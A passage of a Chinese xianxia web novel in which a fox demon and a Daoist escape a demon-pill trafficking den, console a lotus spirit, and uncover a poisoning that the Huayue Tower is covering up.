“花月楼狡诈,若是突生变故,以你一人之力,怕是难以应对。”
阿离皱眉。
坐在窗边观星的姜满也点头,“我观天象,明日必有变故,不过不用担心,吉人自有天相,我们必会逢凶化吉。”
阿离双手抱于胸前,“可我们三个人,只我一只妖怪,你们两个凡人,是不论如何也进不去的。”
“若是进得去呢?”
当阿离在堂前看见祁渊,并闻见那一丝不自然的妖气的时候,阿离便大概断出了其中奥秘。
凡间道士流行一种修道之法——炼化妖丹。
据说只要道士抓到足够多的妖怪,炼化足够多的妖丹
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,便能得到天道认可,飞升成神。
在凡人眼中,道士是保护他们的神仙,在妖怪眼中,道士是阎罗般的杀神。
瞧着阿离愈来愈紧的眉头,祁渊便知道她想歪了,“不是炼丹之术。”
没一会儿,先前引路的婢女出来将他们领进去,阿离落后祁渊半步进屋,脑中还在不断思考着祁渊身上妖气的来源。
入内,只见一位妇人坐于主位,面前摆了两只木盒,看上去与前厅拍卖时用来装妖丹的木盒差不多。
妇人脸上挂出丰满大方的笑容,招呼两人落座,“我是这间院子的主人,二位可唤我孟三姨。来,请坐。”
两人不知为何默契的对视了一眼,转回目光后才选择落座。
落座前,阿离故意拍了拍椅子,怕不能拂了主人的面子,“我这妖爱干净,见谅。”
孟三姨尴尬地笑了声,以示缓和。
她抬手,命人将面前的两个木盒子一人一个呈到两人面前。
“凡来到我这里的妖怪,都有各自的原因和需求,有些妖怪是为了力量,有些妖怪则是为了名利。”
“姑娘不必拘束,你想当妖界使者,和你买妖丹滋补的事情,并没有直接的关系,想想那些高阶的使者大人,我这儿都有招待的记录。再说,你想当官,不得先要有实力吗?”
“哦?孟三姨,你这是在拉拢我吗?”阿离假装听不懂,惊讶道。
孟三姨沉默。
官瘾还真大,只可惜过了今日,你便是再想做官也做不成官了。
“自然不是。”
阿离看着她将手里的木盒子塞进自己手里,转眸和煦一笑,“都有哪些大人呢?”
无心之问,孟三姨自然不好拒绝,故而虚虚实实地答道:“名号不响的,说出来怕惹得小大人心急,那便和小大人说一个名号响的。紫衣使者萱宁,还有,监察使笛允。”
这两个名字倒是叫人意外,“当真?笛允不是死了吗?莫非他的死另有隐情?”
“有没有隐情,我自然是不知的。只是笛监察使确确实实照顾过我们的生意,靠着我们,妖力大涨。”笛允的确的是强大的后起之秀,他的卷宗里,前半段平平无奇,只担了一个闲职,但后半段却一路青云,从无名小吏做到了妖界监察使的位置。
说来也巧,笛允的主要职责便是监察花月楼,若先前他和花月楼暗通款曲,将妖都那边骗得一愣一愣的,现在笛允死了,花月楼便立马被有心人举报,这算什么,同生共死吗?
现在孟三姨拉踩笛允,是要把贩卖妖丹的锅扣在一只浑身焦黑的黄鼠狼身上吗?
可能是天分吧,阿离这戏演的挑不出半分错处,祁渊只沉着脸在一旁,也不用演,往那一站就是一副矜贵模样,长睫之下,幽暗的眸光一直落在面前灵动的小妖怪身上,意味不明。
“我知小大人心有疑虑,故而自作主张准备了一份心意,请小大人打开盒子瞧瞧。”
阿离顺势打开木盒子,里面躺着一颗硕大的纯白妖丹,夏日的莲花清香铺面而来。
阿离一怔,随后猛地合上了盖子。
孟三姨将她突兀的动作尽收眼底,“这个是刚炼出来的,格外融合了九只修为三百年以上的莲花精的神魂,效果极好,绝对能保证大人进入使者名册。”
“融了神魂?怎么融的?”
19. 莲花妖丹(五)
“融了神魂?怎么融的?”
“用炼丹炉啊,真火烤上几个时辰,一颗上好的丹药就出来了,像这种货色的妖丹,在外面起码可以叫上五百两灵石。”孟三姨神情欢喜,故意往阿离的伤疤上撒盐。
这边招待完阿离,孟三姨转头又去招待祁渊,“寻常妖丹,自然不能被青鬼一族瞧上,知道大人来,我特意去寻了压箱底的宝贝,有了这个,甭管百年修为,哪怕是千年修为也不为过,还怕报不了灭族之仇吗?”
“打开看看?”
祁渊心下一紧,察觉不对,但面色如常。
只见他不紧不慢地将盒子打开了一道缝隙,盒中便有缕缕黑气从中涌出,源源不断,说时迟那时快,祁渊迅速将盖子盖下,却不料黑气十分汹涌,竟直接将盒子崩碎了。
骤然间,厅堂里尖锐邪魅的笑声停了,堂内一众人全部呼吸一滞,孟三姨喉颈上不知何时插了把刀子。她的嘴巴还在张张合合,似乎连呼吸都成了致命毒药。
刀子被拔出,孟三姨捂着喉咙向后倒去,目光狠狠地盯着凶手。
她瞪着阿离手里的赤色短刀,刀身像被血染过,红得惊心刺目。
但在场所有人都清清楚楚的看见,刀上没有血,而孟三姨,还在努力的喘气。
阿离盯着她,眸底冷得要命,“竟是傀儡。”
黑气肆虐,祁渊迅速掐决将其困住,但法术不稳,它们堪堪有了突围之势。
“撑得住吗?”
看着源源不断的提刀护卫,阿离攥紧了手中的短刀。
见此局势,孟三姨开始大笑,失去喉咙的人笑起来的声音像混着血沫子一样咯咯作响,只见下一瞬,她的身体里涌出一股浑浊的黑气,似乎要将面前这个不讲礼貌的年轻女子生吞了般。
她的力量虽然不算世间之最,但在今日这些后辈之中也算名列前茅,所以接下来发生的事情她没想到,更是根本想不到。
阿离只一掌便压制了她的奋力一击,满屋的妖气,孟三姨却因此看见一个令人窒息的影子。
“妖神赤是你什么人?”落败之前,孟三姨不甘心的问。
“妖神赤?”阿离疑惑,“我与她毫无关系,如果非要扯出一个答案,崇拜之人,妖神赤是我阿离的崇拜之人,也是这世间最好的神仙。”
“哈哈,你不愿说真话,我这个做长辈的,便替你说完。”
“妖神赤,可是你的引道之人?”
“可笑。”
又是一掌,傀儡人孟三姨彻底断了气息。
余下的护卫见自己主人没气了不但丝毫没有怯场,反倒是愈加勇猛地朝两人杀去。
祁渊还在制衡那一团邪门的黑气,遂而这几百人便全交给阿离对付。
刀速极快,几乎只能看见重影,但这些护卫像志异小说里的不死之士,几招喝去,未见半分血丝。
阿离深感无力,“竟都是些傀儡。”
“这黑气霸道,短时间怕是除不了。”祁渊灵光一闪,“有了,阿离!可带了钱袋?”
“没有!”阿离咕哝一声,“这人竟然到现在还惦记着我的钱袋。”
祁渊无奈,“这团黑气霸道非常,可随意膨胀,只有乾坤袋这种可纳万物的神器方可制约,若是不及时封印,怕是我们都要被其吞噬。”
他先前有注意到阿离随身携带的钱袋是高阶乾坤袋,用此法器将黑气封印,是目前为止唯一可行的办法。
这回阿离听懂了,不是要她的钱,是要她的钱袋。但这跟要她的钱有什么两样?
阿离十分不舍,语气委屈,“可我的钱还没花完呢!”
“阿离!”
阿离一刀挥出罡风,将那些欲涌上来的护卫一下打退三尺,接着捞起自己的钱袋,将里面好不容易积攒的银子尽数挥洒而出,再将钱袋子抛给祁渊。
一套动作行云流水,二人站在银白色的钱堆之中,阿离只觉心痛。
祁渊迅速运决,将那团邪气全数困于乾坤袋中。随后收起乾坤袋,提剑迎战。
没了约束,两人合力打退成群的护卫,杀出重围,朝院外狂奔而去。
阿离眼疾手快,率先出手将第一波人撂倒。
“回头你可得赔我的银子,我记着数呢,你必须分文不少的赔给我!”
祁渊:……
趁阿离说话,两人面前又冒出几个黑衣人。阿离未反应过来应对,那几个黑衣人便被另一道力气掀飞了出去,阿离看着眼前发生的一切霎时间目瞪口呆。紧接着,便感受到手腕上多了一道力气,下一秒,她被祁渊牵着往院门口的方向飞奔了出去。
“好,我记下了。”狂奔之前,阿离听见祁渊这么说。
只见眼前之人迅速催动起灵力,几道符咒从衣袖中闪出,随着嗓音沉沉地落下,那些符咒逐渐蓄满灵力,接着倏地飞了出去,一下子拍在了黑衣人头上,竟然真的成功制止了五六个。
黑衣人来势汹汹,以他一人之力显得过于单薄。阿离正想帮他,谁知下一秒手腕上的力道脱去,尚未来得及停下的步子就这么带着她冲了出去,然后哎呦一声摔倒在地。
盯着手上沾满的沙土,阿离生平第二次觉得自己倒霉。
第一次是初见祁渊,那时他抢她赏钱,如今又要逼她丢钱!
阿离懂了,祁渊就是她命里的灾星!
阿离又一抬眼,只见祁渊凌空而起,墨色衣袍被风鼓满,手掌之上化出一柄利剑,剑意至凌霄而下,落地时又化作了阵阵罡风,将那些意图抵抗的黑衣人横扫出去。
祁渊的法力还算高深,黑压压的人群没出两下就被打趴在地,不省人事。
阿离惊诧之余不忘诚心夸奖,毕竟她真的没见过这般厉害的道士。脑海中闪过那道直冲眉心的剑宇,心里十分疑惑,这般模样的人儿,怎是个大义凛然的道士?
“我们必须赶紧离开,不然阵法大成,便难办了。”祁渊说完然后转身,再次牵起阿离的手,带着她拼命往院外跑去。
这小院比想象中的大很多。
或者说,在无人察觉的时候,它变大了。
阿离也意识到这一点,所以没有过多疑问,便把自己交给祁渊,让他带着自己跑。大约半柱香过后,两人便齐齐跑出了院子,但脚步却依然没有停下。
耳边风声鹤唳,细竹叶划过脸颊,落进刚扬起尘埃的泥里。<
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p>阿离实在是累的够呛,一时间嗓子干疼,说不出话。
但她还是强撑着问了出来,“为什么还要跑?你不懂御剑吗?”
“这儿有结界,无法御剑。”低沉的嗓音传来,混进风里。
阿离不由得又是一怔。
结界?
原来他们口中的万全之策是这个。
大意了。
正出神,前后忽然又出现了几批黑衣人夹击。祁渊扔下一句“护好自己”,便转身迎敌,再也没有回过头。
阿离一声惨叫,倏地,只见一道亮光闪烁朝眼前刺来,说此时那时快,阿离一手撑在地面,稳住身形,一手挥出灵力,那黑衣人痛呼一声,被扫飞了出去。
还挺惊险。阿离在心底讽刺道。
骂完,她便再次凝聚起灵力,狠狠地向那些想偷袭自己的黑衣人砸去。
她也不赖,至少她的攻击能让那些嚣张的黑衣人再也爬不起来。
两人并肩作战,合力闯出了一条生路来。
最后一刻,眼前突然出现一道亮光,亮光过后就见一条清澈的小溪横在眼前,阿离欣喜万分,提着身上脏兮兮的衣裙小跑了过去。
凉水滑过脸颊,带来了久违的惬意与舒适,她恍然间开始感慨,自己已经许久没这么累过了。
夕阳余晖不知何时浸了半片天空,扬州城外一条无名小河迎来了两位客人。
身穿红衣的女子此时正蹲在河边,纤细的手往河水里一捞,捧起一掌凉水往红润的脸上送去,将上边的灰尘一一洗净。
不远处立着一位玄衣男子,单见他倚靠着一棵大树,正阖着眼皮闭目养神。
南方没有冰雪,但有刺进骨子的风。也有冰凉透骨的水。没多久,在河边洗脸的女子跳了起来,赶忙用还算干净的衣袖将脸上的凉水擦净。
听了这番动静,闭目养神的男子终于舍得睁开眼睛,好好打量一番眼前的女子。
她生得好看,但不能用清秀形容,可能是因为这样的词汇只能和平凡的人搭配。他觉得她像诗里的青山多妩媚,一双眸子里藏着星辰,一瞥一笑似乎都扣人心弦。
他看着她走近,眸子里含着愠怒,遂而一对柳叶眉微微皱起,半点转圜余地不留地质问起他,“你会做人吗?自己一身干净,弄得我满身泥土!?这可是上好的锦罗蚕丝绸缎,我跑遍了妖市才买了一匹!花了重金!你让我以后怎么面对它?”
饶是男人想不到,眼前这只小妖爱美如命。
只因方才逃亡途中,情急之下,他无意将她甩在地上好几次,就这般斤斤计较,扬言要取他狗命。
祁渊不吭声,阿离只能暂且忍下怒火,瞧着面前之人仪态正雅,剑眉星目,心里的火气不知为何减了几分。
“不过,昆仑山的道士,什么时候这般厉害了?”饶是她见识短浅,活了八辈子没见过这种活阎王。
“我刚下山,确实不知道山下的道士有那么不厉害。”
阿离越听越不对劲,只好气急败坏地垂了祁渊一下。
男人被她这副炸毛的模样逗笑了,眉眼弯起来,像天上月,水中星。
“你别以为长得好看就了不起!”
20. 莲花妖丹(六)
“你别以为长得好看就了不起!”
她的话音与记忆骤然重合,祁渊怔了一下,霎时止了笑容。
阿离不合时宜地偏过头去,错过了他眼底的失落。
像是为了哄她,祁渊仔细解释道:“三个月前,我恰好路过青鬼领地,那里妖气太盛,经久不散恐怕会影响周围,于是,我便催动符咒将那些妖气存了起来。本来是想用来炼丹的,却不想有此机会提早用了它。”
妖怪的妖气会附有一些妖力,拿来炼丹的做法虽然少见却并不是不可取。
阿离挑眉,气消了些许,故意抛出一句话来给对方台阶下,“你还会炼丹?”
对方噗呲一笑,嘴角弯的弧度都是恰到好处,“你放心吧,我不会拿你这种修为低的妖怪炼丹的。”
阿离有些无语。
脾气降下来,脸颊两侧却逐渐被冷风吹得发红。
祁渊注意到,找出一道符咒,贴到了她的脸上。
“这是什么?”阿离当即脸色大变,她对他的警惕心什么时候松懈成了这样!?
“取暖的。可以撕下来。”祁渊将阿离向后一躲的动作尽收眼底,动手将其撕下又贴了上去,随后又多给了一道取暖符贴在她另一边脸上。
阿离像只瞪圆了眼睛的猫咪,僵了好几秒才愿意照着祁渊的动作试了试,发现的确如此,于是重新将妖怪见而远之的黄符粘回了脸上,“原来,你们道士还会画这些没用处的符咒。”
祁渊笑而不语,阿离却觉得他这笑容底下藏了些什么,这东西她似乎知道,而且很了解。但她扭过头,拒绝观看。
“说来,姜师兄不是说会在外边接应我们吗?他人哪去了?”
祁渊摇头,“放心吧,师兄神机妙算,不会出事。”
阿离畏冷,两道取暖符根本不起作用,寒风瑟瑟里,阿离的声音带着些勉强的颤抖,“那我们快些回去吧,御剑怎么样?”
踩着剑飞的经历,她的妖生还未有过。
“带我回扬州城,我请你吃花糕。”
没想到祁渊会一口回绝,“不怎么样,行走江湖不能吃亏,这是规矩。你要我送你回城,自然可以,只是不知阿离愿不愿意付点报酬?”
阿离没想到他竟然是一个爱财之人,巧了,她也是,“身上的钱都被你霍霍完了,你还好意思提呢,不过,本姑娘大人有大量不与傻瓜论短长,你想要什么报酬,说出来看看我给不给得起。”
祁渊心嘲:牙尖嘴利。
“方才我听孟三姨提了一个名字,妖神赤。”
阿离嗤笑一声,有些意外,“你想听故事?”
“你愿意讲吗?”
“可以啊。”
“好。”
话音一落,祁渊将怀里抱着的金灿灿的剑收回了灵识,随后又变出了一把普通银剑。
阿离:几个意思?
似是看穿了她的心思,祁渊不紧不慢地解释道:“我道行太浅,方才那柄剑尚且驾驭不了,阿离姑娘体谅。”
信你个鬼。
先前挥剑就砍的人是谁呀?
这剑肯定有什么特别之处!
瞥了眼祁渊,阿离突然叹了口气。
既然不想说,那便不计较了。
阿离轻盈的踩上祁渊的银剑,直到感受到脸颊边刮起凉风,他要她讲的故事才算开篇。
妖神赤的故事,要从很久很久以前说起。
五百万年前,神、妖、魔三界鼎立,混战不止。妖族先辈为让妖族子民不再经受战乱之苦,选择加入神族,于是妖神出,妖界在妖神的带领下并入神界,双方合力将魔族封印与黑水之渊,魔族落败。
因为天界有妖神,所以一万年以前的妖界一直在天界的管辖下,两族人民和和美美地渡过了一个又一个平凡的百年。
“妖神赤是什么时候成为上神的?我并不知道。但天界容不下妖神,却是一个人尽皆知的秘密。”
妖神是一界之主,力量强悍到能与天帝平起平坐。何况妖族天生就是个目无尊长的主儿,他们的嚣张跋扈进一步引发天界的不满。
一万年前,黑水之渊封印松动,魔族重现于世,神、妖两界损失惨重,最后关头,还是妖神赤出面以一半神魂将魔族封印。事后,天界编了一个理由,找一个凡间的无头小仙状告妖神赤串通魔族叛变,魔族,因为上古时期的旧怨,还有近几万年无休止的战争,成了妖神两界都痛恨的存在。
就这样,妖神赤在七七四十九道天雷之刑下神魂尽灭,妖界也因此选择脱离神界,独立于世。由涂山狐妖一脉带头叛出,经历三千年,妖界正式成立,而涂山,也因此成为了妖都,自此以后,世世代代的妖王便在涂山诞生。
一段前尘三言两语便能讲完,但背后的心酸却并非常人能够理解。
祁渊听完后,神情又是惊讶又是感怀的,不过这些并未让阿离看见。
“为何孟三姨会说妖神赤是你的引道之人?你们有什么关系吗?”
“妖神赤死于一万年前,我才活了不到一千岁,你问我为何?也许是那傀儡瞎了眼,胡言乱语。”
身旁洁白云彩划过,两人直奔圆月而去。
“不过说起妖神赤,她可是很厉害的一号人物,一生不过万载便能自创无人能敌的拭雪心法,让神界那帮混账老头起了杀心。”
祁渊御剑带她回到扬州城时,已是月上高楼。
几簇烟花骤然在头顶炸开,暖色的火光照得眼前之人十分温柔。
卖花糕的铺子在扬州城里的一座莲池旁。满池荷叶,不见莲花。许是还没到莲花生长的季节,阿离让祁渊稍等,自己上前去敲了敲莲子铺的门。
两声清响后,门内传来一阵匆忙的脚步声,下一秒,一张小脸出现在门缝里,随着吱呀吱呀的声响传来,一股莲花清香就着风送来。
莲花妖阿朵将两人迎了进去,晚上铺子没有客人,落了个清静。阿离和阿朵两只妖怪说了两句悄悄话,紧接着,阿朵便跑去后厨将做好的花糕端了上来。
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“不好意思,我不知道还有别人,花糕做得少了,大人莫见怪。”阿朵不好意思地朝两人笑了笑。
其实端上来的花糕已经足够多,两个人是吃不完的。见此,阿离忍不住心疼。
阿离看着祁渊道谢入座,指尖捏起一块花糕送入嘴里,下一秒,冷冷的脸上皱起了眉头,阿离猜他不爱吃甜。阿离跟着咬了一口,花香在唇齿间蔓延开来,意外地,花糕清甜可口,甜而不腻。
阿离吃得开心,但当她一对上阿朵的目光,那只有一方莲池和一个花糕铺子。
昨日,阿离答应她,无论最后得到的是什么样的消息,都务必告知她。
可现实残酷得要命,她要如何告诉阿朵这些让人痛苦不已的事实呢?
阿离看着她的眼睛,
心叹:活着,总会孤独的。
阿离离开座位,将阿朵拉去铺子门口。两人往地上一坐,先看了天边炸开的烟花,又看了天上悬挂的明月,阿朵的鼻头骤然一酸。
“他们是不是都出事了?”阿朵低头盯着自己的脚尖,眼前不知何时模糊起来。
她期待着,无所不能的使者大人会带回她的亲人,但一刻钟前,她看见阿离身后跟着一个陌生的男人,不是她熟悉的徐大哥,亦不是任何一只熟悉的莲花妖。
她知道结果了,她早该认命的。但是又苦于不想面对,扭扭捏捏地,最后连泪都不知怎么掉。
见阿朵这副丢了神魂的模样,阿离心中有愧。她将先前的木盒子递给阿朵,心中思绪乱作一团,抿着嘴,半天才说了一句,“对不起,我没能把她们好好的带回来。”
阿朵看着黑幽幽的木盒子,看见它周围萦绕着几缕熟悉的莲花香,再也忍不住泪,她整个人蜷缩起来,不停地颤抖,眼泪也像断了线的珍珠,怎么也止不住。
阿离将她抱进怀里,任由她痛哭一场。
木盒子里装的是阿朵的亲人、朋友,她只有一百年岁,这一小方盒子,竟能将她大半生的快乐与牵挂装得满满当当。
夏天快来了,到了那时,兴许莲花池里再也看不见熟悉的莲花了。
屋子里的祁渊沉默的观看这一切,窗外忽的有风将一叶竹片吹了进来,这让他的目光终于有了一个可以回落的地方。
男人的脑海里映着两只妖怪互相依偎的场景,他想起今日她的冲动,这才明白了那时她见到妖丹时的心情。复杂的,愤怒的,甚至是悲伤的。
原来那一枚小小的莲花妖丹,竟是有如此深意。
门外,哭声渐停。阿朵靠在阿离的肩上睡着了。
“你来,帮我把她抱进去安置。”
视线对上的一瞬间,她理所当然的使唤他。
烟花放完过后,人声渐息。
离开之前,祁渊听见提着一盏小灯的小狐狸说:“其实拿着令牌,也未必无所不能。”
这世上还有许多想得到但得不到、不想失去但一定会失去的东西,不信命,不过是蝼蚁的自圆其说。
21. 不谋而合(一)
与此同时,还在城外迷路的姜满正苦恼着。山中迷雾重重,加之天色渐暗,一不小心竟失了方向。
三枚铜钱被抛起又重新落回掌心,呈现出一个绝处逢生的卦象。
这片山林并无惊险之处,何来“绝处”之境?祸险现于西南,倘若不是物,便只能是……
姜满偏头,余光瞥见了一道狠厉的白光擦着耳朵划过,猛然插/进身前的草地里。
这是一支利箭。
若他不躲,这箭会直刺他的后脑。
好险好险!
“何人躲在暗处偷袭?可敢现身一见?”姜满朝着周遭浓稠的迷雾喊道。
寂静无声,没有回应。
姜满喉头突然干涩,做了个吞咽的动作。
卦象再起,姜满朝着所指方向行进,最后在一处草堆里发现了一位身着不凡的紫衣女子。
她手持长鞭,额头上冒着虚汗,看上去像中毒。
“别动!”
“再向前一步我杀了你。”
女子狠言说道。
但姜满是个没有心的,“呀!你受伤了!”
姜满是医者仁心,也不管对方显露的敌意,自顾自地掏出随身携带的药粉帮她包扎还在溢血的伤口,然后又将手搭上去寻她的脉象,“只是一些软筋散和抑制妖力的药,无甚大事。”
姜满松了一口气,又掏出了随身带着的药丸,递到女主嘴边,“吃吧,解药。”
女子也是呆了,她从未见过如此神经大条的人。
“我是妖怪,会吃人。”
“看出来了,怎么和阿离似的,吃吧,没毒。”
女子看着对方善意的面容,竟真的鬼使神差地将药丸吞了下去。
姜满二话不说背上了她,“可看得清路,你来指路,我带你出去。”
“我迷路了,卦象说,你是我的‘逢生’之路。”
原来是迷路需要她。
女子见了他的傻样,不觉放下了戒心。
“多谢。”
“我叫萱宁。”
“姜满。”
依靠萱宁,姜满总算是回了扬州城。
他帮萱宁订了一间客房,“你且休息,明日便能好个大概了。”说完便离了去,回了城东小院。
只祁渊一人回了,阿离呢?
“她要回花月楼了。”祁渊坐在桌前,只见他用骨节分明的手拿起水壶,给自己倒了一杯茶。
这不知是第几杯,一壶热茶已然变凉。
摆在两人面前的是一张图纸,上面详细的标注着妖界情报局花月楼的守卫分布。
这些都是祁渊前几日夜探花月楼的成果,上边标了几处朱红,是阿离拿去细细改了的。
算起阅历,姜满上山十五载,方有这一次出行机会,可师弟祁渊,上山不足一月,便让师父委以重任:剿灭花月楼。
花月楼存在了几千年,在妖界的地位早已不可撼动,怎能被人力所打败?
怪不得姜满这个大师兄总在背后数落师父老了异想天开!想要剿灭花月楼,好似要去杀了半个妖界,要是凡人有如此强悍的实力,妖界早已不复存在。
真是莫名其妙!人好好活着不好吗?非得去惹那些妖魔鬼怪!
所以不能怪姜满谨慎多疑,应该怪他们的师父老糊涂、会来事。
……
日上三竿。
莲花妖阿朵尚在睡梦之中,阿离写罢一封信,将其留在阿朵枕边,随后便整理好行囊,离开了莲子铺。
昨夜雨后便有晴朗,早晨柔和的光线给她周身镀上了一层温柔的光。这让她周身的妖媚被遮掩,露出清冷的气质来。
她要回花月楼去。
花月楼很近,大约两条街的脚程。
不过阿离还是在路上耽搁了点时间。她先去吃了碗热馄饨,让自己从睡梦中清醒清醒,随后又在一间铺子买了两个包子,最后十分悠闲的逛到了花月楼门口。
繁华热闹的花月楼在清晨尤为冷清,□□愉之后,楼里的姑娘会负责将客人送出门口,时间差不多在天初蒙亮时。此时虽然算早,太阳也已来到高空。
“姐姐们,你们在忙什么?”好奇的妖怪突然探出一颗脑袋,吓疯了花月楼所有妖怪。
——回来了!回来了!魔神的妻子,她竟然回来了!
花月楼从未有此见闻,众人盯着归来的阿离,心中又是害怕又是惊喜。
“使者大人,楼主有请。”一名女子上前为阿离引路。
杜月站在楼上,一动不动地看着这个死里逃生却似乎安然无恙的女子。
怎么回事?
她想起曾经与“魔神”的一面之缘,右手不受控制的微微颤抖,她将手按在栏杆上,指节因用力而泛红。
三楼雅间。
“外面发生了什么?动静这般大?”说话的人拧着眉头,正来回踱着步子。
“是外边的客人在吵闹,请二位大人放宽心。”答话的人的眸子心虚地转了转,根本不敢和对方对上眼神。
眼前这人便是妖界出名的紫衣使者萱宁,腰间别着一条长鞭,长眉直飞入鬓,明明是个女人,却总是一副英气的男子装扮。
“他们说的是谁?”
婢女支支吾吾的解释道:“是一位绿衣使者。”
绿衣使者?
萱宁干脆坐了下来,与一旁悠闲品茶的人提了句,“只是个绿衣使者吗?使者前来,为什么没人同我知会?”
喝茶的人答:“是你太忙了吧,前些天有人与你传消息,你看也不看,这次这个说不定就是你漏掉的消息。左右不过一个绿衣,你紫衣大人还怕她不成。”
萱宁心安了几分,“我确实紧张了些,但最近尊使那边突然没了动静,反倒是妖主……”话音到这儿停了,似乎是因为忌讳。
“不急,来,喝杯茶,这可是上好的碧螺春。”
萱宁有些不耐烦,又烦躁地从椅子上起身,半个眼神也不给身旁的男人,“这茶你已经品了一天,品出什么了吗?你要是觉得有趣,便等着吧。”
直至如雷响般的关门声响起,男人才缓缓睁开眼睛,没好气地说了一句,“怎么走了,真没耐心。”
随着茶杯中的碧螺春轻盈一转,“不等,怎么看得到好戏?”
***
“你是怎么回来的?”
秦娘子坐于上位,脸上依旧蒙着厚重的黑纱。
“我没见到魔神,是祁渊将我救了下来。”
祁渊比武那日用的是剑招,遂而花月楼一直不知他的道士身份,只觉他是身手不凡的世外高人。
凡间有混江湖的说法,花月楼见怪不怪,终究是肉体凡胎,掀不起风浪。
自阿离重新出现在花月楼的那一刻起,秦娘子便差使人去查看‘魔神’的生死,而这个人会被祁渊拦下,转而送一道与事实截然相反的消息回来。
知道了‘魔神’还活着,秦娘子的警惕自是可以放低些,只是……不是长久之计。
阿离正色道:“秦楼主,请将笛监察使的尸体交给我。”
“使者大人,七日盛宴的约定,你并未履行。”
“七日盛宴若是成了,就是谋杀使者,秦楼主不会希望我把事情捅到妖主大人面前吧?况且,我持有妖主令,接手监察使的案子是我的职权,你们花月楼,是想违令造反吗?”
“大人言重了,前些时候,不过是想对大人考验一番,看看是否担得起这个案子,如今考验完了,自是要按妖主大人所指,将监察使的案子全权交给大人你了。”说完,便给了阿离一块令牌。
“花月楼上下,任凭大人差遣。”
得了令牌,阿离要做的第一件事就是带走笛允的尸体,下楼之时,她看见了昨日在城外妖丹买卖中的紫衣女子,
不似昨日粉面娇柔,五官碧玉,想来也是易了容的,今日此女子
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一袭男子装扮,一条马尾甩在身后,飘扬如瀑,黑色腰封一侧别着一条长鞭,眉宇硬朗,英气十足。
此人也注意到了她,绯衣侠客装扮,嘴角含着的笑意犹如摄人心魂的梦魇。
有点眼熟,似乎在哪里见过。
阿离走到她面前,行了一揖,道:“问紫衣大人安。”
萱宁的大名她曾听过,据说是手段残暴,脾性狠辣。绿衣使者属于低阶使者,面对高自己一等的紫衣使者萱宁,自是要行礼问好。
这一问好,足以引起萱宁的疑心。
果然如阿离所想,此时此刻萱宁在心中已经将面前之人与昨日所见之人对上了号——是那只狐妖。
萱宁的脾气并没有想象中那样急,她没有立马拆穿阿离,反倒是轻轻‘嗯’了一声,迈步离开了。
阿离的眸底浮现出一抹深色,继续下楼。笛允的尸体安置在后院,阿离脚下生风,姿势依旧优雅大方,一袭红衣随风而动,裙角混进被她扬起的风里。
等来到后院,阿离凭借令牌遣散众人,祁渊便趁着空隙从暗处现身。
“那人是紫衣使者萱宁,比我高一个等级,可惜名声不好,我跟她不熟。”
祁渊:“你怀疑她?”
“是花月楼让我怀疑她。”
“萱宁的出现太过巧合,她不仅是笛允一案的处理人,还涉身妖丹买卖。”
“此事不简单。”
“尸体在哪?”祁渊说话的时候声音沉沉,有些严肃。
“后门。”
二人亦步亦趋,来到了后门边上一个小柴房,里边正是笛允被烧得漆黑的尸体。
“可会验尸?”
“嗯。”诚实的道士完全没有意识到自己即将面临什么。
狐狸狡黠一笑,郑重道:“交给你了。”
阿离将尸体交给祁渊,自己两袖清风,退了出去。
屋外轻风阵阵,今日好不容易没落雨,院里不知名的树上却挂了昨夜的雨滴,让人总觉心有遗憾。
阿离倚在门边,无聊地等着。
一刻钟后,祁渊开门出来,阿离已经阖上了困意十足的眼皮。
祁渊立在门口,看着对方安稳的睡颜,一时间有些不舍得唤醒对方。
最终他还是叫醒了阿离,躲开对方愠怒的眼睛,玄色衣袍带着灰色的影子往来时的方向走,漫无目的却又颇有心机。
“你可验出什么了?”道士自信的步伐可谓是吊足了小狐狸的胃口。
“是毒。”对方毫无征兆地停了下来,阿离一时没刹住步子,跑过了头,不得已与他相视而立。
“毒?什么毒?”
“是檀罗。”
闻言,阿离面色一怔,随即是惊讶,“檀罗是花月楼特有的毒,这么明显的罪证,花月楼为何还留着?”
“而这案子,又为何能草草结案?”
祁渊又开口,“除了檀罗,还有一记毒。”
“什么?”
祁渊用手指了指自己的眼睛,阿离心头一紧,当即了然。
“尸身焦黑,是为掩盖死者中毒之状,一般人对魔族了解甚少,自是检查不出异样。我方才验尸之时,在尸体的眼眶下发现了被腐蚀的痕迹,这痕迹和焦黑处有一道不易察觉的界线。”祁渊验尸时带着猜测,花月楼除了檀罗一毒还在背地里饲养魔物,回想那魔物满身毒液和古籍所记,不难判断花月楼会从它身上取毒害人。
那魔毒对眼睛的效果最大,所以祁渊一进去便用刀子检查死者的眼睛,最终成功发现了中毒痕迹。
“所以,笛允确为花月楼所害。”阿离微微眯眼,眸中满是气愤,“为何呢?”
是因为笛允发现了花月楼叛变的证据,所以花月楼想要杀人灭口吗?
祁渊:“不论如何,秦娘子疑心重,一旦她知道魔兽被杀,一定会率先找我们算账,花月楼不可久待。”
“糟了,尸体!”
22. 不谋而合(二)
等两人回过神,身后的柴房已然冒出了冲天火光。
“他们这是想要毁尸灭迹?”
“恐怕不止如此。”
……
“楼主楼主!不好、不好啦!使者大人放火烧了柴房,逃、逃走了!”
秦娘子横眉怒斥,“什么?!”
“她果然不怀好意!”
一旁的萱宁听了‘使者大人’四字,再看面前一片混乱之景,难免疑惑,“这是何意?还请楼主告知我。”
秦娘子看上去气极了,一手撑扶着额头,面露苦色,“有一名绿衣使者,谎称持有妖主令逼我们交出了笛允监察使的尸身,不曾想她的目的,竟是要毁灭证据,诬陷我们花月楼。”
“花月楼对妖主忠心耿耿,从未有任何错漏之处,一只小妖,竟然妄想诬陷我们来为自己加官进爵,真是……”
“什么?这世上竟有如此之事!”萱宁愤懑道。
“还请楼主放心,绿衣使者放肆挑事,这是我御下不严之责,我定会捉拿此妖,还花月楼清白!”
第二日,阿离在上街买早饭的时候遇到一群妖怪追杀,她拼死逃命,买来的包子不知被扔在了哪个街头巷尾。
紫衣使者萱宁对外发了通缉令。
阿离拿着方才捡回的通缉令,上边的画像可谓是粗鄙,笔墨所及竟是画不出她的半分美丽。
“师妹,你方才去哪了?”姜满似乎对这个白捡师妹格外上心。
“逛逛。”阿离礼貌微笑。
她是绝对不会吐槽对方的厨艺不佳的。
姜满:“快去吃饭吧。”
面对面前的一碗白粥,阿离像蔫了的花一样。
姜满还未过来,阿离忍不住吐槽:“哪有人天天喝白粥的?除了和尚。”
祁渊:“粥不好喝?”
阿离想起那个充满煞气的光头,和方才香喷喷的肉包子,“我不想当和尚。”
祁渊没说话,心想:怎的变挑食了,看来以后要变着花样做饭了。
